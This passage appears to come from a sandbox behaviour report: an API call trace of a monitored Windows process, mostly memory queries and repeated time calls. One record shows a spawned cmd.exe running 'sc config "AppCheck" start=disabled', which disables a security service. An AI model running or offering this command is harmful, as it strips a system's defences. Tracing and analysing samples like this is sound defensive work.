(in: hProcess=0xffffffff, lpAddress=0x401000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x58000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0135.502] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x459000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x459000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0135.503] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x45a000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x45a000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x10b000, State=0x1000, Protect=0x40, Type=0x1000000)) returned 0x1c [0135.503] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x565000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x565000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0135.503] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x566000, lpBuffer=0x18fc6c, dwLength=0x1c | out: lpBuffer=0x18fc6c*(BaseAddress=0x566000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0135.521] GetCurrentThreadId () returned 0xa30 [0135.529] GetCurrentThreadId () returned 0xa30 [0135.529] ResetEvent (hEvent=0xc8) returned 1 [0135.529] GetCurrentThreadId () returned 0xa30 [0135.529] GetCurrentThreadId () returned 0xa30 [0135.529] GetCurrentThreadId () returned 0xa30 [0135.529] ResetEvent (hEvent=0xc8) returned 1 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.537] GetCurrentThreadId () returned 0xa30 [0135.546] GetCurrentThreadId () returned 0xa30 [0135.553] GetCurrentThreadId () returned 0xa30 [0135.553] GetCurrentThreadId () returned 0xa30 [0135.561] GetCurrentThreadId () returned 0xa30 [0135.561] GetCurrentThreadId () returned 0xa30 [0135.561] CloseHandle (hObject=0xc8) returned 1 [0135.561] CloseHandle (hObject=0xcc) returned 1 [0135.577] CloseHandle (hObject=0xc4) returned 1 [0135.577] GetCurrentThreadId () returned 0xa30 [0135.577] GetCurrentThreadId () returned 0xa30 [0135.577] GetCurrentThreadId () returned 0xa30 [0135.702] GetCurrentThreadId () returned 0xa30 [0135.702] GetCurrentThreadId () returned 0xa30 [0135.702] GetCurrentThreadId () returned 0xa30 [0135.718] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.719] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.720] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.721] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.722] GetLocalTime (in: lpSystemTime=0x18fcb4 | out: lpSystemTime=0x18fcb4*(wYear=0x7e4, wMonth=0x5, wDayOfWeek=0x3, wDay=0x6, wHour=0x1, wMinute=0x36, wSecond=0x1, wMilliseconds=0xe0)) [0135.742] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.743] VirtualFree (lpAddress=0x2b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.746] VirtualFree (lpAddress=0x1ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.773] FreeLibrary (hLibModule=0x76d30000) returned 1 [0135.773] LocalFree (hMem=0x66f348) returned 0x0 [0135.773] FreeLibrary (hLibModule=0x76d30000) returned 1 [0135.774] LocalFree (hMem=0x66f338) returned 0x0 [0135.774] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0xbb0 Thread: id = 3 os_tid = 0x64 Thread: id = 4 os_tid = 0x600 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0xc273000" os_pid = "0x5c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa34" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x70c [0079.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3df79c | out: lpSystemTimeAsFileTime=0x3df79c*(dwLowDateTime=0x4e086fe0, dwHighDateTime=0x1d622f5)) [0079.722] GetCurrentProcessId () returned 0x5c4 [0079.722] GetCurrentThreadId () returned 0x70c [0079.722] GetTickCount () returned 0x1149444 [0079.722] QueryPerformanceCounter (in: lpPerformanceCount=0x3df794 | out: lpPerformanceCount=0x3df794*=19901456646) returned 1 [0079.724] GetModuleHandleA (lpModuleName=0x0) returned 0x4a860000 [0079.724] __set_app_type (_Type=0x1) [0079.724] __p__fmode () returned 0x770331f4 [0079.888] __p__commode () returned 0x770331fc [0079.889] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8821a6) returned 0x0 [0079.889] __getmainargs (in: _Argc=0x4a884238, _Argv=0x4a884240, _Env=0x4a88423c, _DoWildCard=0, _StartInfo=0x4a884140 | out: _Argc=0x4a884238, _Argv=0x4a884240, _Env=0x4a88423c) returned 0 [0079.889] GetCurrentThreadId () returned 0x70c [0079.890] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x70c) returned 0x60 [0079.890] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0079.890] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0079.890] SetThreadUILanguage (LangId=0x0) returned 0x409 [0079.891] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.891] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3df72c | out: phkResult=0x3df72c*=0x0) returned 0x2 [0079.891] VirtualQuery (in: lpAddress=0x3df763, lpBuffer=0x3df6fc, dwLength=0x1c | out: lpBuffer=0x3df6fc*(BaseAddress=0x3df000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0079.891] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x3df6fc, dwLength=0x1c | out: lpBuffer=0x3df6fc*(BaseAddress=0x2e0000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0079.891] VirtualQuery (in: lpAddress=0x2e1000, lpBuffer=0x3df6fc, dwLength=0x1c | out: lpBuffer=0x3df6fc*(BaseAddress=0x2e1000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0079.891] VirtualQuery (in: lpAddress=0x2e3000, lpBuffer=0x3df6fc, dwLength=0x1c | out: lpBuffer=0x3df6fc*(BaseAddress=0x2e3000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0079.891] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x3df6fc, dwLength=0x1c | out: lpBuffer=0x3df6fc*(BaseAddress=0x3e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0079.891] GetConsoleOutputCP () returned 0x1b5 [0079.892] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0079.892] SetConsoleCtrlHandler (HandlerRoutine=0x4a87e72a, Add=1) returned 1 [0079.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.892] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0079.893] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.893] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8841ac | out: lpMode=0x4a8841ac) returned 1 [0079.893] _get_osfhandle (_FileHandle=1) returned 0x7 [0079.893] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0079.894] _get_osfhandle (_FileHandle=0) returned 0x3 [0079.894] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8841b0 | out: lpMode=0x4a8841b0) returned 1 [0079.896] _get_osfhandle (_FileHandle=0) returned 0x3 [0079.896] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0079.896] GetEnvironmentStringsW () returned 0x732058* [0079.897] GetProcessHeap () returned 0x720000 [0079.897] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xaca) returned 0x732b30 [0079.897] FreeEnvironmentStringsW (penv=0x732058) returned 1 [0079.897] GetProcessHeap () returned 0x720000 [0079.897] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x4) returned 0x730c90 [0079.897] GetEnvironmentStringsW () returned 0x732058* [0079.897] GetProcessHeap () returned 0x720000 [0079.897] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xaca) returned 0x733608 [0079.898] FreeEnvironmentStringsW (penv=0x732058) returned 1 [0079.898] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de69c | out: phkResult=0x3de69c*=0x68) returned 0x0 [0079.898] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, lpData=0x3de6a8*=0x0, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.898] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x1, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.898] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, lpData=0x3de6a8*=0x1, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.898] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x0, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x40, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x40, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, lpData=0x3de6a8*=0x40, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.899] RegCloseKey (hKey=0x68) returned 0x0 [0079.899] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de69c | out: phkResult=0x3de69c*=0x68) returned 0x0 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, 